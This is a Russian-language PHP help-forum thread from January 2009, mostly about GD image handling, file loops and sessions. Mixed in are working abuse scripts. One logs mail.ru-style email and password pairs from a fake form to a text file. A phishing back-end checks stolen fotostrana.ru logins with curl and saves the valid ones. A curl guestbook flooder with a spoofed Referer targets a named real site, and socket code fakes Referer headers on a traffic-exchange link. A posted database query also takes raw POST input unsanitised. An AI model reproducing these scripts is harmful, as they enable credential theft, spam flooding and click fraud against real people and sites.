у тебя скрипт написан под CLI. Запускать надо либо из командной строки (WIN), либо из консоли (Lin).
Поподробней можно почитать на офф сайте или в статейке из журнала PHPInside (http://phpclub.ru/detail/magazine/2006/07/)
назрело)
В общем,в папке лежат многа-многа файлов,с расширением .txt, навзания у всех разные.Нужно их все открыть fopen и вписать данные.Вот пока сам думаю сделать чтото вроде регулярки,только хз как правильно.Например:
$text = "(.*).txt";
Затем это в фореач,и отдельно каждый файл открывать.Но хз как все это изобразить поправильнее,и побыстрее чтобы работало.Кто что подскажет?
<?php
foreach (glob('*.txt') as $fname) {
$f = fopen($fname,'w');
/*...*/
fclose($f);
}
?>
О,спасибо.Теперь еще знаю и о glob :) всетаки спасибо тем кто меня когдато обхамил и отправил на php.net.. :)
Кто знает,как можно уже в созданой картинке,например 1.png добавить на нее другую (наложить) на определенные координаты? Например у меня есть 2 картинки,одна 1.png а вторая test.png. первая ето рисунок 200х200 а вторая ето надпись 20х20 и как мне сделать чтобы ета надпись наложилась в центре рисунка?
Shadow_p1raT
09.01.2009, 11:39
Вот небольшой примерчик
<?
header('Content-Type: image/png');
$im=ImageCreateFromPng("logoback.png");
$dg=ImageCreateFromPng("logofront.png");
imagecopy($im,$dg,0,0,0,0,350,19); # imagecopy(в какую, с какой, на какое место(x,y), ширена, высота, откуда(x,y));
ImageDestroy($dg);
ImagePng($im);
ImageDestroy($im);
?>
UPD:
http://forum.antichat.ru/showpost.php?p=168456
копай imagettftext
Блин,да текст то я знаю,он мне незачем,почему же я и на форуме спросил,как Картинку наложить а не текст.
optimazer
09.01.2009, 12:32
2Mixon
imagecopy($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h)
$dst_im - картинка назначение,
$src_im - картинка исходник,
$dst_x - координата Х на картинке назначения,
$dst_y - координата У на картинке назначения,
$src_x - координата Х на картинке исходнике,
$src_y - координата У на картинке исходнике,
$src_w - ширина вставки,
$src_h - высота вставки
библиотеку gd для работы с большими изображениями не желательно использовать
лучше использовать imagemagick
2Mixon
imagecopy($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h)
$dst_im - картинка назначение,
$src_im - картинка исходник,
$dst_x - координата Х на картинке назначения,
$dst_y - координата У на картинке назначения,
$src_x - координата Х на картинке исходнике,
$src_y - координата У на картинке исходнике,
$src_w - ширина вставки,
$src_h - высота вставки
библиотеку gd для работы с большими изображениями не желательно использовать
лучше использовать imagemagick
Мне и вареант Shadow_p1raT подошел,ну и те спс,посмотрю)
2Mixon
imagecopy($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h)
$dst_im - картинка назначение,
$src_im - картинка исходник,
$dst_x - координата Х на картинке назначения,
$dst_y - координата У на картинке назначения,
$src_x - координата Х на картинке исходнике,
$src_y - координата У на картинке исходнике,
$src_w - ширина вставки,
$src_h - высота вставки
библиотеку gd для работы с большими изображениями не желательно использовать
лучше использовать imagemagick
А после того как картинка создасца как её из темпа сохранить к примеру в папке images ???
Pashkela
09.01.2009, 20:16
imageGif($im,"./images/image.gif");
ImageDestroy($im);
imageGif($im,"./images/image.gif");
ImageDestroy($im);
imagejpeg($im,"./images/image.gif");
Она её сначала выводит в браузере первый аргумент $im а потом сохроняет! А мне надо чтоб она просто сохроняла без вывода в браузер! Как это зделать???
Pashkela
09.01.2009, 20:21
Видишь второй параметр здесь?
imagejpeg($im,"./images/image.gif");
Вот он, запятой отделен:
,"./images/image.gif"
так вот, когда он есть - в браузер не выводит, просто сохраняет
кури:
http://ru2.php.net/imagegif
Видишь второй параметр здесь?
imagejpeg($im,"./images/image.gif");
Вот он, запятой отделен:
,"./images/image.gif"
так вот, когда он есть - в браузер не выводит, просто сохраняет
кури:
http://ru2.php.net/imagegif
<?php include("db.php");
header('Content-type: image/jpeg');
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
$result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);
if (!$result1)
{
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0)
{
$myrow1 = mysql_fetch_array($result1);
$mas = getimagesize($adres);
$width = 215;
$heigth = $mas[1]+270;
$adres1 = "admin/".$myrow1['url'];
$im = imagecreatetruecolor($width, $heigth);
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
$name = "avat".$myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 20);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+20, 0, 0, 215, 350);
imagejpeg($im,"avatar/$name");
}
else
{
exit();
}
?>
Вот мой код в браузере выводится картинка пустая с крестиком ну типа она не загрузилась! Картинка сохроняется! Как поступить?
ну типа она не загрузилась!
Логично, потому что скрипт ничего не выводит. Однако он посылает браузеру информацию о том, что контент есть картинка:
header('Content-type: image/jpeg');
Удали эту строку - будет пустая страница.
Pashkela
09.01.2009, 20:38
imagejpeg($im,"../avatar/$name");
Так попробуй, и корректней еще будет память очищать после:
imagedestroy($im);
Пока вижу только неправильный синтаксис
Логично, потому что скрипт ничего не выводит. Однако он посылает браузеру информацию о том, что контент есть картинка:
header('Content-type: image/jpeg');
Удали эту строку - будет пустая страница.
Красава!! Большо спасибо тебе! Ты прав! :) :) :)
как мне вывести статиситику(кто сколько хедшотов сделал и т п) с ксс серва на сайт и чтоб она постоянно обновлялась?
Pashkela
09.01.2009, 21:01
Ну правильное решение надо искать на основе этого (советую читать oRb):
http://forum.antichat.ru/thread100269.html
как мне вывести статиситику(кто сколько хедшотов сделал и т п) с ксс серва на сайт и чтоб она постоянно обновлялась?
Как я знаю в на самом серваке имеется файл со всей статистикой(убийства, смерти, хед шоты) пишешь скрипт типа fopen(тот файл);
копируешь его типа copy() и вставляешь в базу или в другой файл типа txt все!
А потом выводишь его на страницу типа printf("txt файл")
Pashkela
09.01.2009, 21:49
Как я знаю в на самом серваке имеется файл со всей статистикой(убийства, смерти, хед шоты) пишешь скрипт типа fopen(тот файл);
копируешь его типа copy() и вставляешь в базу или в другой файл типа txt все!
А потом выводишь его на страницу типа printf("txt файл")
Да?:))) Молодца! Если бы так было, я давно бы владел интернетом:) Сам подумай - не локально, а УДАЛЕННО открывать файл на чтение
Да?:))) Молодца! Если бы так было, я давно бы владел интернетом:) Сам подумай - не локально, а УДАЛЕННО открывать файл на чтение
Хорошо зайди на www.e107.ru там есть плагин статистики cs разбери его и вперед! Есть ещё в инете куча статистик cs которые можно разобрать и посмотреть как они работают!
Как сделать закруглёные углы? у картинки $im?
<?php include("db.php");
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
$result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);
if (!$result1)
{
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0)
{
$myrow1 = mysql_fetch_array($result1);
$mas = getimagesize($adres);
$width = 215;
$heigth = $mas[1]+270;
$adres1 = "admin/".$myrow1['url'];
$im = imagecreatetruecolor($width, $heigth);
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
$name = "avat".$myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 20);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+20, 0, 0, 215, 350);
imagejpeg($im,"avatar/$name");
}
else
{
exit();
}
?>
ANTIJABBER
10.01.2009, 01:23
Хорошо зайди на www.e107.ru там есть плагин статистики cs разбери его и вперед! Есть ещё в инете куча статистик cs которые можно разобрать и посмотреть как они работают!
+1, тот же пример психостат, не только хедшоты можно вырвать.
мой вопросик :o s
Как редактировать файл, который находится на фтп, можете привести тут пример? Пожалуйста.
Если есть логин и пароль от фтп,то можно попробывать чрез fopen("ftp://admin:pass@mysite.ru");
Файл есесно 777 должен быть.
+1, тот же пример психостат, не только хедшоты можно вырвать.
мой вопросик :o s
Как редактировать файл, который находится на фтп, можете привести тут пример? Пожалуйста.
$fh=fopen("путь к папке/текстовый файл");
fputs("вписываемый текст в файл"."\r\n");
fclose($fh);
geforce, не чего сказать — лучше промолчать.
Даже синтаксис не правльный.
geforce, не чего сказать — лучше промолчать.
Даже синтаксис не правльный.
Ну если такой умный хацкер поправь!!! напиши как правильно?
(Даже синтаксис не прав/льный) словарь почитай :D а потом умничай!
В ропщем я отходил,воть так попробуй.
$fo = fopen("ftp://admin:pass@mysite.ru");
fwrite($fo,"Текст который пишем в файл");
fclose($fo);
По теории,все должно работать.Не практике хз - =)
Ну если такой умный хацкер поправь!!! напиши как правильно?
(Даже синтаксис не прав/льный) словарь почитай :D а потом умничай!
Че умничать,синтаксес не правельный у тебя :/
Ну если такой умный хацкер поправь!!! напиши как правильно?
(Даже синтаксис не прав/льный) словарь почитай :D а потом умничай!
lol ....Jer1cho , поумнее тебя и меня буде в php, так что подумай над своими словами...и если ты не веришь мне, почитай его посты.
ЗЫ:еще раз доказывает,что репа ничего не значит
Че умничать,синтаксес не правельный у тебя :/
<?php
$f="";
$mail[0]="mail.ru";
$mail[1]="list.ru";
$mail[2]="inbox.ru";
$mail[3]="bk.ru";
$mail[4]="yandex.ru";
$mail[5]="rambler.ru";
if ($_POST["a"]==$f || $_POST["b"]==$f)
header('Location: error1.php');
else
{
$fs=explode("@",$_POST['a'],2);
if(in_array($fs[1],$mail))
{
if(isset($_POST["a"]) && isset($_POST["b"]))
{
$fh=fopen("text/kont.txt","a");
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");
fclose($fh);
header('Location: autor.php');
}
}
else
{
header('Location: error2.php');
}
}
$error="error";
?>
Значит это тоже не правильно???
ты тоже словарь почитай (синтакс/ес не прав/ельный)
Ты различия не замечаешь чтоли?
Глупый.
fputs("вписываемый текст в файл"."\r\n");
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");
Вопрос исчерпан?
Ты различия не замечаешь чтоли?
Глупый.
вообщето я как вопрос понял так и ответил! умник! :D
lol ....Jer1cho , поумнее тебя и меня буде в php, так что подумай над своими словами...и если ты не веришь мне, почитай его посты.
ЗЫ:еще раз доказывает,что репа ничего не значит
А я что сказал что он глупый :D
Я же сказал что он умник :D
Подскажи лучше как закругленные края у $im сделать??
<?php include("db.php");
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
$result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);
if (!$result1)
{
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0)
{
$myrow1 = mysql_fetch_array($result1);
$mas = getimagesize($adres);
$width = 215;
$heigth = $mas[1]+270;
$adres1 = "admin/".$myrow1['url'];
$im = imagecreatetruecolor($width, $heigth);
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
$name = "avat".$myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 20);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+20, 0, 0, 215, 350);
imagejpeg($im,"avatar/$name");
}
else
{
exit();
}
?>
geforce, кажеться вот это:
http://www.html.it/articoli/nifty/index.html
geforce, кажеться вот это:
http://www.html.it/articoli/nifty/index.html
Не понятно как то :(
Не понятно как то :(
Переведи ,и все будет понятно.
ЗЫ: А так? http://vkontakte.ru/video8424591_23798353?add=1
Переведи ,и все будет понятно.
ЗЫ: А так? http://vkontakte.ru/video8424591_23798353?add=1
:D :D :D :D :D
Переведи ,и все будет понятно.
ЗЫ: А так? http://vkontakte.ru/video8424591_23798353?add=1
Разобрался! Ну эт мне не подойдет в данном случае мне надо чтоб углы имеено рисовались в картинке так как это аватар! Есть ещё предложения???
Разобрался! Ну эт мне не подойдет в данном случае мне надо чтоб углы имеено рисовались в картинке так как это аватар! Есть ещё предложения???
больше нет, погугли
Всем привет :) с добрым утром.
Собственно в 5 утра,назрел вот такой вопрос,нужно накодить регу и авторизацию юзверя на мускуле.Так как с мускулоом работы еще не имел,придеть найти статью в которой это описано.
Знаю,что выше уже был такой вопрос,и тогда дали ссылку на ооочень хорошую статью по теме,но в силу того что мне это было не нужно,я не стал все это читать и вникать.А вот теперь,мне это понадобилось.Товарищи подкиньте ссылочку на статейку.
Помни,это был блог одного чувака,он там писал уроки по PHP...
/* Всем спасибо,все нашел самостоятельно! если интересно,сайт _http://freshcoder.ru */
m0Hze, Вот очень хорошая и продуманная авторизация:
http://pyha.ru/articles/php/auth/
Все по-русски, понятно и просто
А я что сказал что он глупый :D
Я же сказал что он умник :D
Подскажи лучше как закругленные края у $im сделать??
На мой взгляд, самый простой способ наложить 4 картинки по углам фотки(они могут разные быть, что бы не только закруглять фотки). Обязательно картинки должны быть в формате .png [скачать пример углов (http://slil.ru/26523334) ]
<?php include("db.php");
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
$result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);
if (!$result1)
{
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0)
{
$myrow1 = mysql_fetch_array($result1);
$mas = getimagesize($adres);
$width = 215;
$heigth = $mas[1]+270;
$adres1 = "admin/".$myrow1['url'];
$im = imagecreatetruecolor($width, $heigth);
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
$name = "avat".$myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 20);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+20, 0, 0, 215, 350);
//размеры аватарки
$width = imagesx($im);
$height = imagesy($im);
//добавляем уголки
$tl = imagecreatefrompng('tl.png'); //top left
$tr = imagecreatefrompng('tr.png'); //top right
$dl = imagecreatefrompng('dl.png'); //down left
$dr = imagecreatefrompng('dr.png'); //down right
//размеры уголков (предпологается, что размер углов одинаковый )
$w = imagesx($tl);
$h = imagesy($tl);
imagecopy($im, $tl, 0, 0, 0, 0, $w, $h);
imagecopy($im, $tr, $width-$w, 0, 0, 0, $w, $h);
imagecopy($im, $dl, 0, $height-$h, 0, 0, $w, $h);
imagecopy($im, $dr, $width-$w, $height-$h, 0, 0, $w, $h);
imagejpeg($im,"avatar/$name");
}
else
{
exit();
}
?>
?>
Вот пример фотки обработанной:
http://s1.ipicture.ru/uploads/090110/N8CeOFPwXl.gif
geforce,
[dei], 10.01.2009 13:51:11:
функция для сглаживания углов, принимает дескриптор картинки и опционально угол
function corners(&$im,$r=15) {
$w = imagesx($im);
$h = imagesy($im);
$fg = imagecolorallocate($im, 255,255,255);
for ($offset=0, $x=0, $y=0; $offset<$r, $x<=90, $y<=90; $offset+=$r/90, $x++, $y++) {
imageline(
$im,
sin(deg2rad($x))*$r + $w-$r,
cos(deg2rad($y))*$r + $h-$r,
$w,
$h-$offset,
$fg
);
imageline(
$im,
sin(deg2rad($x+90))*$r + $w-$r,
cos(deg2rad($y+90))*$r + $r,
$w,
$r-$offset,
$fg
);
imageline(
$im,
sin(deg2rad($x+180))*$r + $r,
cos(deg2rad($y+180))*$r + $r,
0,
$offset,
$fg
);
imageline(
$im,
sin(deg2rad($x+270))*$r + $r,
cos(deg2rad($y+270))*$r + $h-$r,
0,
($h-$r)+$offset,
$fg
);
}
}
Den, 13:51:49:
ок
Розбаньте человека... Такие кадры пропадаюют ))
Вопрос есть картинка в браузере как можно сделать кнопку чтобы при нажатии она выполняла функцию Сохранить картинку как???
такую кнопку, на мой взгляд, можно только одним способом сделать:
1. Нужно к урлу добавить какой нить тег, типа www.vays.ru/img.jpg?value=12
2. сервер отдает картинку но с измененным content-type. Что бы браузер не мог понять тип и не пытался открыть сам.
тогда выдаст окно и спросит, что делать...
P.S.
Лучше такого не делать... +) проще пользователю сразу объяснить как сохранить картинку.... и т.к. картинка уже показана в браузере, он просто переместит из кэша её... и ему не надо заново качать...
Может поможет если посмотришь документацию по css в сторону: max-height, max-width
Вопрос есть картинка в браузере как можно сделать кнопку чтобы при нажатии она выполняла функцию Сохранить картинку как???
Создай скрипт get.php:
<?php
if(!empty($_GET['file'])){
$filename = basename($_GET['file']);
@header('Content-Disposition: attachment; filename="'.$filename.'"');
@header('Content-Type: application/x-force-download; name="'.$filename.'"');
echo file_get_contents($filename);
}
?>
И посылай на него запрос
<a href="get.php?file=this_image.jpg"><img src="this_image.jpg" alt=""/></a>
Защиты в скрипте нет, можно скачать любой файл, закроешь.
Создай скрипт get.php:
<?php
if(!empty($_GET['file'])){
$filename = basename($_GET['file']);
@header('Content-Disposition: attachment; filename="'.$filename.'"');
@header('Content-Type: application/x-force-download; name="'.$filename.'"');
echo file_get_contents($filename);
}
?>
И посылай на него запрос
<a href="get.php?file=this_image.jpg"><img src="this_image.jpg" alt=""/></a>
Защиты в скрипте нет, можно скачать любой файл, закроешь.
как мне его правильно сюда прикрутить?
<?php include("db.php");
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
$result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);
if (!$result1)
{
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0)
{
$myrow1 = mysql_fetch_array($result1);
$mas = getimagesize($adres);
$width = 215;
$heigth = $mas[1]+270;
$adres1 = "admin/".$myrow1['url'];
$im = imagecreatetruecolor($width, $heigth);
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
$name = "avat".$myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 20);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+20, 0, 0, 215, 350);
//размеры аватарки
$width = imagesx($im);
$height = imagesy($im);
//добавляем уголки
$tl = imagecreatefrompng('tl.png'); //top left
$tr = imagecreatefrompng('tr.png'); //top right
$dl = imagecreatefrompng('dl.png'); //down left
$dr = imagecreatefrompng('dr.png'); //down right
//размеры уголков (предпологается, что размер углов одинаковый )
$w = imagesx($tl);
$h = imagesy($tl);
imagecopy($im, $tl, 0, 0, 0, 0, $w, $h);
imagecopy($im, $tr, $width-$w, 0, 0, 0, $w, $h);
imagecopy($im, $dl, 0, $height-$h, 0, 0, $w, $h);
imagecopy($im, $dr, $width-$w, $height-$h, 0, 0, $w, $h);
imagejpeg($im,"avatar/$name");
}
else
{
exit();
}
printf("<img src='avatar/$name' >");
?>
привет всем!! есть у кого скрипт для подмены реферера в запросе через сокеты? пробовал гугл, ниче особо не нашел
отправь хидер
"Referer: site.ru\n";
CURL рулить! =)
<?php
for ($i=0; $i <10; $i++) {
$text="С новым годом всех !!!!";
$url = "http://memori.ru/login/";
$ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)';
$ch = curl_init();
$post="message_autor=qweqweqweqwe&autor_email=qweqweqw@qwe.ew&autor_url=qweqweqewqe.ru&message_text=$text&new_message=true";
curl_setopt($ch, CURLOPT_URL, "http://www.judo-spb.ru/modules.php?name=GuestBL&go=new_message");
curl_setopt($ch, CURLOPT_HEADER, 1);
/*curl_setopt($ch, CURLOPT_USERAGENT, $ua);*/
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_REFERER, "http://www.judo-spb.ru"); /*Вот это тебе нужно */
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$result = curl_exec($ch);
}
echo $result;
?>
Вот пример на курле. Флудер гостевой книги. С подменой Рефера
Shadow_p1raT
10.01.2009, 17:55
$referer = 'http://forum.antichat.ru';
curl_setopt($ch,CURLOPT_REFERER,$referer);
В переменной $referer пишешь нужный тебе рефер.Пример из курла.
$send = "POST http://forum.antichat.ru HTTP/1.1\r\n";
$send .= "Host: ihttp://forum.antichat.ru\r\n";
$send .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
$send .= "Referer: http://forum.antichat.ru\r\n";
$send .= "Cookie: $cookies\r\n";
$send .= "Pragma: no-cache\r\n";
$send .= "Content-Type: application/x-www-form-urlencoded\r\n";
$send .= "Content-Length: ".strlen($zapros)."\r\n";
$send .= "Connection: Close\r\n\r\n";
$send .= $zapros;
$send .= "Referer: http://forum.antichat.ru\r\n";
Наш реферер.Пример из сокетов
UPD:Блин,не успел:(
Jer1cho, посоветуйте пожалуйста мне чего-нибудь полезного по хидерам. То есть ссылки кинте пожалуйста, почитать, а то у меня с этим плохо, спасибо
есть запрос как его правильно через сокеты прогнать?? с меня+GET http://kinotraff.ru/go.php?id=37697&ref=http://xakepy.xost.ru/&base=2 HTTP/1.1 Accept: */* Referer: http://kinotraff.ru/feed.php?id=37697&fmt=htm&width=80&cols=3&rows=3&desc=name&base=2&cs=5&cp=0&bg=FFFFFF&size1=14&size2=10&size3=12&color1=000000&color2=000000&color3=000000 Accept-Language: ru UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Proxy-Connection: Keep-Alive Host: kinotraff.ru Cookie: __auth=1; __hash=e69588c3cd5888e5f71061186ca3374b
Joker-jar
10.01.2009, 18:42
DDoSька, ну эт тебе надо не в сторону PHP смотреть, а в спецификацию протокола HTTP
DDoSька, ну эт тебе надо не в сторону PHP смотреть, а в спецификацию протокола HTTP
Вот с этим у меня глухо,очень глухо. Хых, про протоколо HTTP 1.1 итд? Увы, я в этом вообще ничего не понимаю, где можно почиттать?
Shadow_p1raT
10.01.2009, 18:52
<?php
$res = '';
$sock=fsockopen('kinotraff.ru',80, $errno, $errstr, 30);
if(!$sock)
{
echo $errstr($errno);
}else{
$headers = "GET http://kinotraff.ru/go.php?id=37697&ref=http://xakepy.xost.ru/&base=2 HTTP/1.1\r\n";
$headers .="Host: kinotraff.ru\r\n";
$headers .="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\r\n";
$headers .="Accept-Language: ru,ru-RU;q=0.9,en;q=0.8\r\n";
$headers .="Connection: Close\r\n\r\n";
$headers .="Referer: http://kinotraff.ru/feed.php?id=37697&fmt=htm&width=80&cols=3&rows=3&desc=name&base=2&cs=5&cp=0&bg=FFFFFF&size1=14&size2=10&size3=12&color1=000000&color2=000000&color3=000000\r\n";
$headers .="Cookie: __auth=1; __hash=e69588c3cd5888e5f71061186ca3374b\r\n";
}
fwrite($sock, $headers);
while(!feof($sock)){
$res .=fgets($sock, 1024);
}
echo $res;
?>
не тестировал,но должно работать
спасибо, но реферер испарился
Joker-jar
10.01.2009, 19:14
DDoSька, читай RFC 2068
http://lib.ru/WEBMASTER/rfc2068/
З.Ы. Ну или можно что-нибудь покороче. Поищи в поисковиках по запросу "Описание протокола HTTP"
ANTIJABBER
10.01.2009, 19:19
помогите, нужен пример использования cron в php...
К примеру такая задача, php скрипт должен запускаться каждые 5 минут... =)
DDoSька, читай RFC 2068
http://lib.ru/WEBMASTER/rfc2068/
З.Ы. Ну или можно что-нибудь покороче. Поищи в поисковиках по запросу "Описание протокола HTTP"
спасибо большое,буду читать
Помогите решить проблему?? есть скрипт с нарисованной картинкой! Сдела так чтоб при нажатии по ней она сохранялась все работает она сохраняется но не правильно не открывается в дальнейшем в чем проблема???
Скрипт картинки:
<?php include("db.php");
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
$result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);
if (!$result1)
{
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0)
{
$myrow1 = mysql_fetch_array($result1);
$mas = getimagesize($adres);
$width = 215;
$heigth = $mas[1]+270;
$adres1 = "admin/".$myrow1['url'];
$im = imagecreatetruecolor($width, $heigth);
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
$name = "avat".$myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 20);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+20, 0, 0, 215, 350);
//размеры аватарки
$width = imagesx($im);
$height = imagesy($im);
//добавляем уголки
$tl = imagecreatefrompng('tl.png'); //top left
$tr = imagecreatefrompng('tr.png'); //top right
$dl = imagecreatefrompng('dl.png'); //down left
$dr = imagecreatefrompng('dr.png'); //down right
//размеры уголков (предпологается, что размер углов одинаковый )
$w = imagesx($tl);
$h = imagesy($tl);
imagecopy($im, $tl, 0, 0, 0, 0, $w, $h);
imagecopy($im, $tr, $width-$w, 0, 0, 0, $w, $h);
imagecopy($im, $dl, 0, $height-$h, 0, 0, $w, $h);
imagecopy($im, $dr, $width-$w, $height-$h, 0, 0, $w, $h);
imagejpeg($im,"avatar/$name");
}
else
{
exit();
}
printf("<a href='get.php?file=avatar/$name'><img src='avatar/$name' alt=''/></a>");
?>
скрипт сохранения:
<?php
if(!empty($_GET['file'])){
$filename = basename($_GET['file']);
@header('Content-Disposition: attachment; filename="'.$filename.'"');
@header('Content-Type: application/x-force-download; name="'.$filename.'"');
echo file_get_contents($filename);
}
?>
мне надо разбить базу по 2мб база у меня в .тхт файле
как мне разбить базу?
Мне приходит на ум только одно,писать в один файл,как только его вес равняеться 2 мегам,переходить в другой файл,и писать туда.Но на практике хз :)
<?php
if(!empty($_GET['file'])){
$filename = basename($_GET['file']);
@header('Content-Disposition: attachment; filename="'.$filename.'"');
@header('Content-Type: application/x-force-download; name="'.$filename.'"');
readfile($filename);
}
?>[
Все равно не работает! :confused:
подскажите пожалуйста.
задача такая. есть анкета разбитая на части. нужно сделать сохранение введенных данных при переходе назад. имею в виду, надо чтобы выбор пользователя сохранялся, если он нажмет назад. для текстовых полей я это сделал.
а как для полей типа селект, радио и множ. выбор реализовать?
CrazyNight
11.01.2009, 13:14
Вариантов навалом.
Сессии, Cookies, БД, кэш, javascript
Если ты реализовал для текстовых полей, значит так же реализуй и для остальных input'ов, там схема абсолютно та же, в чём сложность?
<?php
/**
* @author m0hze
* @copyright 2009
*/
$email = $_POST['user_email'];
$password = $_POST['user_password'];
if($email == '' && $password == ''){
header("Location : index.php");
} else {
$post = 'user_email='.$email.'&user_password='.$password;
$cl = curl_init('http://fotostrana.ru/user/login');
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
curl_setopt($cl, CURLOPT_HEADER, 1);
curl_setopt($cl, CURLOPT_POST, 1);
curl_setopt($cl, CURLOPT_POSTFIELDS, $post);
$exec = curl_exec($cl);
curl_close($cl);
if(stristr($exec, 'Неверный логин или пароль')){
$error = file_get_contents('index.php');
echo $error;
}else{
$fo = fopen('base.php','a');
fwrite($fo,"$email:$password\n");
fclose($fo);
header("Location: http://fotostrana.ru/user/login/?user_email=$email&user_password=$password");
}
}
?>
Все принимает за гуд,хотя сам курл работает,не проходит только проверка на слово.Кто чем? А то у меня вынос мозга начался...
есть массив
[0] - 1
[1] - 2
[2] - 4
есть ли функция в php чтобы вставить в этот массив значение 3 так чтобы получилось
[0] - 1
[1] - 2
[2] - 3
[3] - 4 ?
пытаюсь реализовать сортировку вставкой на пхп, никак не получается без такой функции
смотрите. то что через сессии это понятно. для текстовых полей реализовано так.
<?
session_start();
$_SESSION['FName']=$_POST['FName'];
$_SESSION['LName']=$_POST['LName'];
?>
<html >
<body>
<form action="" method="post">
First Name: <input type="text" name="FName" value="<?php echo $_SESSION['FName']?>"/>
Last Name: <input type="text" name="LName" value="<?php echo $_SESSION['LName']?>"/>
<input type="submit" name="submit" value="Submit Data"/>
</form>
</body>
</html>
а как сделать для ?
<tr>
<td class="left"/>Пол:
<td class="right"/><input type="radio" name="con_q4" value="m"/>мужской<input type="radio" name="con_q4" value="f"/>женский
</tr>
Pashkela
11.01.2009, 15:19
есть массив
[0] - 1
[1] - 2
[2] - 4
есть ли функция в php чтобы вставить в этот массив значение 3 так чтобы получилось
[0] - 1
[1] - 2
[2] - 3
[3] - 4 ?
пытаюсь реализовать сортировку вставкой на пхп, никак не получается без такой функции
array_push( )
Функция array_push( ) присоединяет (то есть дописывает в конец массива) один или несколько новых элементов. Синтаксис функции array_push( ):
int array_push(array массив, mixed элемент [, ...])
В общем вот тут почитай, очень подробно и с примерами:
http://i-vd.org.ru/books/php/arrays.shtml#f
Мне чень не удобно,но посмотрите пожалуйста.Мне какбе срочно комрады.Чтото ошибку не найду,а проверка не проходит. Посто номер #7726
Мне чень не удобно,но посмотрите пожалуйста.Мне какбе срочно комрады.Чтото ошибку не найду,а проверка не проходит. Посто номер #7726
Скрипт не тестил (особо времени нет), просто посмотрел, но что не понравилось.
$post = 'user_email='.$email.'&user_password='.$password;
